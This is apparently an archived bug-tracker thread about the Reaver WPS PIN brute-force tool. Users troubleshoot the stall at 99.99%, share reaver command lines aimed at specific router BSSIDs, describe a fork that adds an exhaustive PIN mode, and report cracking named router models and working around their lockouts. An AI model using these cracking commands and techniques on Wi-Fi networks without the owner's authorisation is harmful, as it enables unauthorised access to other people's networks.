I Have The solution to resolve these problems. Rebuild the Pin guide file.

    Reaver scan stops working, stacking at 9x.xx% or 99.99%. Sometimes repeats the same pin in loop and get WSC error.  

Don’t know how and why these problems occur. Maybe a little bug in reaver or 
the AP changes the pin in meantime. 
     But after a little research and some close tests I manage the solution to resolve these problems. Working fine every time when these errors happens.

    First of all you have to be 100% sure that following things are ok:

*** The first 4 digits of pin. (THIS IS MOST IMPORTANT). I’ll show in the 
final of post how to know if is real true) 

*** Fair/Good Strength and quality of AP signal

My Case:
>>ESSID: TP_LINK-PSC
>>BSSID: F4:C3:F6:01:BD:1A
>>CHANNEL: 2
>>PIN First 4 DIGITS: 9104

Lets Begin:
     1---You need to locate the reaver work directory, their will be a file with name “bssid of AP”.wpc and reaver.db 

my case: 
/usr/local/etc/reaver/  make a backup of this directory and erase that two 
files. 
F4C3F601BD1A.wcs and reaver.db

    2----Set the Wi-Fi card in monitor mode in same channel of the target AP

    3----Now start a new reaver scan, reaver  -i “interface” -b  “bssid” -e “essid” --t "time to wait M5/7" c “channel” -vv -n 
In my case the input was:
reaver  -i mon0 -b F4:C3:F6:01:BD:1A -e TP-LINK -t 0.9 -c 11 -vv -n 
then press enter, you should see something like this

(Note: you SHOULD NOT see the Restore question yet, if you do,  something is 
wrong. stop and Check if you are in the right directory. You can use the 
command locate reaver.db to find the right one.)

After the THIRD pin check, stops the scan with CTRL+C  ^c  
my case the third was 01230153

each line with 4 numbers, this numbers are the sequence that reaver will follow 
to  find the first four numbers of pin.

* To ensure that you have the right first 4 digits, you need to check two thing

First You have to be able to receive the M5 Message, this indicate that first 
half of pin are Right
Second when you set the pin, the percentage should get to 90% 

Hope works to you guys like worked for me. If you still get stuck do all over 
again, happens to me when the signal was weak..
you can try this before or after the Stefano's Solution.
 That it, Good Luck
And Remember only test AP with permission of the owner.  :)

Hi,

Some months ago I jumped directly into this issue and, after seeing some of the 
comments here, I went directly into downloading the code and fixing the issue.

At the moment I have a completely functional version with the following 
features:

1. Fixed the 99.9% never ending loop: If the end is reached without success, 
the application exits as expected. (before it continued until it was 
interrupted or killed)
2. Added an exhaustive option (--exhaustive, -X) which uses "set_p1(p1_index) + 
set_p1(p2_index)" instead of "set_p1(p1_index) + set_p2(p2_index)" to force 
covering all possible combinations. This ensures that the PIN is found even if 
it does not follow the "checksum" rules. However this makes of corse the 
process much longer.
3. If the -X option is not provided, the application runs as usual. However, if 
it reaches the end without having found a valid PIN, it gets the first half of 
the PIN which has been already found and restarts scanning for the second one 
in exhaustive mode. This makes the overall process much longer in the worst 
scenarios, but this ensures that the PIN is finally found in all cases (if the 
signal is strong enough).
4. Added two options: (--p1-index, -1) and (--p2-index, -2) which allows 
setting an initial value for the respective indexes. Useful if you lost a 
previous session.
5. Added some "aesthetic" improvements, such as displaying the elapsed time and 
the estimated remaining time in AdBhCmDs format, or displaying each time the 
Pin counter and the Max Pin attempts (in verbose mode).

And, here you have a snapshot of the new output, making use of the new "-2" 
option as an example, including the instant in which the mode changes from 
"checksum" to "exhaustive" (notice how the "Max pin attempts" increases to 
20000 and how Pin count goes down to 10001) and displaying the elapsed and 
remaining time:

The weird thing about all this is that I already sent two messages to the 
project owners asking for commit permissions to upload my patch and I got 
absolutely NO response from them. At all!

I am not a big friend of the "forking" concept, but man, it's been more than 
one year since the last signs of life from the committers, and it's a pitty to 
have such a useful project just abandoned where there are plenty of issues and 
volunteers to solve them!
May we think about it?

carles, in case you don't get a response from the original developers can you 
share the your source code changes here? It seems like you created a better 
version and there is no need to reinvent the wheel

Hi,

I received several requests about those modifications, so I made them public in 
pastebin: http://pastebin.com/EcWw7e7n

Here you have the instructions to install the changes in linux:
- Download a fresh version of the code (revision 113).
- go to this link: http://pastebin.com/EcWw7e7n
- Paste the contents into a patch file inside the trunk folder (let's say, 
reaver-wps.patch)
- execute the following command from inside the trunk folder (without quotes): 
"patch -p1 < reaver-wps.patch"
- follow the reaver build and installation instructions as usual.

If you have any issues, please feel free to send me an e-mail and I'll try to 
give you a hand.

Regards,
Carles

Hi¡ great work Carles.sala, it will be interesting if you could made a mod 
with your changes so the lazy noobs like me that dont know nothing about 
programming could install the reaver mod instead of doing all that anoying 
work¡ you could load it in rapidshare or similar.

Thanks in advance.

Hi,

Some of you reported having problems with the patch (apparently pastebin 
modifies slightly the pasted text (white spaces and so on) and then patch does 
not pick up the changes as expected).

Therefore, I finally opted for creating a fork repository 
(http://code.google.com/p/reaver-wps-fork/) where this issue is already fixed.

I still didn't have time to prepare and upload the binaries, but the version is 
ready to download and install.

Here you have the steps which you can just copy/paste (run as root!):

NOTE: If you are running ubuntu, make sure you have libsqlite3-dev installed:
# apt-get install libsqlite3-dev

# svn checkout http://reaver-wps-fork.googlecode.com/svn/trunk/ 
reaver-wps-fork-read-only
# cd reaver-wps-fork-read-only/src
# ./configure
# make distclean && ./configure #(you can skip this step if you never installed 
reaver before)
# make
# make install

If you have any doubts, or you want to contribute in the project with your own 
changes, please feel free to contact me.

Regards,
Carles

Hi,

#60 and #62: I already said in my comment #57 that the patch was messed up by 
pastebin and that it didn't work as expected.
Please checkout the version from reaver-wps-fork project 
(http://reaver-wps-fork.googlecode.com/svn/trunk/), which does compile properly.

#64: I explained that in comment #52. The 99.99% problem appeared because the 
WPS pin which you are trying to crack does not follow the checksum rule.
Therefore, in the new version of reaver-wps, when it reaches the end of the 
checksum pins it assumes that yours is "non standard" and jumps automatically 
to the exhaustive mode, which brute forces all 8 digits instead of brute 
forcing 7 of then and calculating the last one using a checksum.

This has two big consequences:
On one side, chances of matching the pin increase dramaticallty.
However, on the other side, the crack time for one of those non-standard pins 
can be of several days instead of several hours (bear in mind that, before, 
this kind of pins could not be creacked at all using reaver "as-was").

I hope this clears up your doubts.

Hi Carles. First, thanks for doing the patched version!

Downloaded & installed it (v3) as per http://code.google.com/p/reaver-wps-fork/ 
Runs fine for a bit, but then throws 'Floating point exception' after a 
percent-complete line, see cmdline & output below. Any ideas? Let me know if 
more info would help.

syntax was...

reaver -i mon0 -c 11 -b BC:76:70:E0:71:EC -vv -p 1234 -2 310

Original comment by sairesea...@gmail.com on 17 Aug 2013 at 2:24

OK, a bit more info to add to #74:
1. The floating point error is fairly rare, what's more common is to simply 
stop without error (or answer).
2. The problem only happens immediately after the "% complete. Elapsed time: " 
line.
3. The problem seems to happen only after multiple WPS transaction fails.
Hope that helps!

Yes, agree with #77 that the Floating point exception it is a rare thing and 
happens only (in my case) within the first minute of a session. The last time 
it did it, the syntax was very simple and without any new arguments (reaver -i 
mon0 -c 11 -b BC:76:70:XX:XX:XX -vv).

Getting back to the 99% bug... The fallowing may or may not be related.

Reaver 1.4 has problems with certain routers. Namely Huawei routers (BSSID 
BC:76:70: ...)

1. Does not detect the fist correct four numbers of the PIN, instead giving a 
false positive with 1234, or any four digits you give it, and return the 
"received M5 message".

2. The first problem causes the 99% bug and repeats the last key at the end.

Solution: Reaver 1.3

With a very simple syntax in reaver 1.3 (reaver -i mon0 -c 11 -b 
BC:76:70:DD:0A:28 -vv) I retrieved the information! I did EVERYTHING spending 
DAYS trying with reaver 1.4 and this version (1.4 fork r3) without any success.

@ Carles

any chance for you to include a '-3' argument in the next version? 
-3 as in 'operate like reaver 1.3'

Hi Carles, "Floating point exception" here too.

i have the same problem here, and seems to happen only after multiple WPS 
transaction fails, it just stops without answer. im now trying with reaver 1.3 
that seems to be working fine.

hello, as i said before reaver 1.3 is working but i still have the 99.99% 
problem because the first 4 numbers are independent from the others, is 
arbitrary and is not in the numbers that reaver tries for the second half. im 
basically were i  started, now reaver actually gets the true four first numbers 
(no M5 false positive) but get stuck at 99.99% and the fork isnt working 
either, does anyone knowns how to solve the 99% loop?

I've personally had this problem both with my Alfa 802.11 g/n (the g/n unit
came with my Reaver Pro) and an older Alfa 802.11 b/g USB device (RTL8187).
However my Inetel Centrino Ultimate-n 6300 has no problems on the same
laptop. I've also noticed that all three cards can connect to any of their
compatible access point standards, can send deauth packets but the Alfa's
cannot capture hand shakes using fern, wifite or even manually using tshark
or cowpatty (cowpatty just produces empty files). Not sure if that helps
give insight in to the 99.99% problem or not. To be clear, the Alfa's will
only make it to 99.99% but the Intel will work every time. (Backtrack 5r3,

Hi all,

Sorry for not responding to your comments (which I really appreciate), but it 
has been a while since I last came to this thread and I still hadn't seen them.

@Chris: I'm glad to see that you managed to install it without internet, 
however I cannot give a solution for the 1.3 idea. For sure it could be done, 
but I suspect it would be a hard thing to implement, and probably not as worth 
as just looking forward and fixing the current issues. Anyway, I will take 1.3 
version as a reference when trying to fix them.

@Steven and the others with the "Floating point Exception" error: There's 
already an issue created in the fork repo: 
http://code.google.com/p/reaver-wps-fork/issues/detail?id=1
Would you mind following the issue there and uploading any relevant info? I 
must say that I had few time to work on it, and actually I could not manage to 
reproduce the error with any of my routers, but I'll do what I can to fix it.

@Mali: Sure, I will try to fix this. Would you mind creating an issue for it in 
the new repo?
Then it will be easier to follow up.

Regards,
Carles

@Carles how do you run exhaustive mod in the 2nd scan for the 1st 4 digit? i 
always got the 1234 for the 1st 4 pin in 2nd scan somebody says that it's false 
positive and i'm receiving M5 message. can you post the code plss?

HI !

I m sorry for this question but I tried to follow stefano and I don't have a 
folder called reaver-wps-read-only so the following step couldn't be done :

cd /root/reaver-wps-read-only/src

THANKS

Hello Carles, I have the same problem: "Floating point exception (core 
dumped)". 
I was trying to find correct pin on "3Webcube" router, but with no success.
Can you please help me to solve the problem?
I will be grateful to you.
K.

Same problems with trying to crack a small Edimax router. Version 1.4 got stuck 
at 90.90%, the new one gave me a "flouting point exception". It may be because 
I am short of memory. (Using Kali Linux, Dell LAtitude E6500 but only 2GB of 
memory) So I tried version 1.3 and it found both the WPS PIN and the WSK 
passkey in 4,033 seconds.

so a Edimax BR-6258n can be cracked with version 1.3 of reaver. Hope this helps 
someone.

Ok just succeeded with a netgear WN2000RPTv2, using reaver 1.3. I had it do it 
two halves, it stopped at 91.87%, which meant it had found the 1st pin. So I 
restarted adding the --pin parameter as follows 

"reaver -i mon0 -b <bssid> -c <channelNum>  -d --pin 3969"

This unit locks out after 30 bad attempts, then re enables the WPS PIN in 120 
to 300 seconds, ie just left it running..... I can also confirm that disabling 
the WPS PIN in the netgear GUI disables the WPS functionality on this device.

BTW BTHUB3's now appear to lock out the PIN functionality permanently if it 
gets something like 20 wrong PIN's.

SOME ONE PLEASE FORK reaver already!!!! It is deader than the grim-reaper him 
self!.. If no one forks it, it will NEVER BE UPDATED EVER AGAIN!!..

Original comment by Yas...@gmail.com on 13 Jun 2014 at 7:36

Has anyone encountered a router that will send out one M5 packet causing reaver 
to think it has the correct first four pins when it doesnt?

I'm not sure if it sends it out then changes the pin or what happens, but after 
it sends out the one initial M5 packet no more get sent out.  This causes 
reaver to enter the 99% loop never finding the solution.

Signal is -67 and I don't seem to have any difficulties receiving or sending 
packets.  What gives?
